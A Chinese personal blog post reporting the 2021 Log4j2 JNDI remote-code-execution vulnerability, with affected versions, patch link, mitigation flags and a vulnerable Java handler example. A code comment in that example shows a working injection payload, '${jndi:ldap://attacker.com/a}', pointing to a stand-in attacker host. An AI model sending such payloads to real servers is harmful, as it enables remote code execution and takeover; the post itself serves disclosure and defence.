个人随笔
目录
人类总是会因为莫名其妙的事情加班:Apache Log4j2 核弹级漏洞公开
2021-12-10 17:09:47

昨晚,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害。而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者,很多互联网企业也都连夜做了应急措施。

漏洞详情:

Apache Log4j 远程代码执行漏洞

严重程度: 严重

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置

漏洞情况分析:

Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

漏洞编号: 暂缺

漏洞等级:

高危,该漏洞影响范围极广,危害极大。

CVSS评分: 10(最高级)

漏洞状态:

受影响的版本:

Apache log4j2 2.0 - 2.14.1 版本均受影响。

安全版本:

Apache log4j-2.15.0-rc2

易受攻击代码示例:

  1. import org.apache.log4j.Logger;
  2. import java.io.*;
  3. import java.sql.SQLException;
  4. import java.util.*;
  5. public class VulnerableLog4jExampleHandler implements HttpHandler {
  6. static Logger log = Logger.getLogger(log4jExample.class.getName());
  7. /**
  8. * A simple HTTP endpoint that reads the request's User Agent and logs it back.
  9. * This is basically pseudo-code to explain the vulnerability, and not a full example.
  10. * @param he HTTP Request Object
  11. */
  12. public void handle(HttpExchange he) throws IOException {
  13. string userAgent = he.getRequestHeader("user-agent");
  14. // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
  15. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
  16. log.info("Request User Agent:" + userAgent);
  17. String response = "
  18. Hello There, " + userAgent + "!";
  19. he.sendResponseHeaders(200, response.length());
  20. OutputStream os = he.getResponseBody();
  21. os.write(response.getBytes());
  22. os.close();
  23. }
  24. }

漏洞修复方案:

Apache官方已发布补丁,建议受影响的用户尽快升级到安全版本。

补丁下载地址:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

漏洞缓解措施:

(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)log4j2.formatMsgNoLookups=True

因该组件使用极为广泛,利用门槛很低,危害极大,建议所有用户尽快升级到安全版本。

总结

人类总是会因为莫名其妙的事情而加班。

我觉得终极解决办法就是把漏洞等级设为最高ERROR,咱不打印日志了,相信程序!

 54

啊!这个可能是世界上最丑的留言输入框功能~


当然,也是最丑的留言列表

有疑问发邮件到 : suibibk@qq.com 侵权立删
Copyright : 个人随笔   备案号 : 粤ICP备18099399号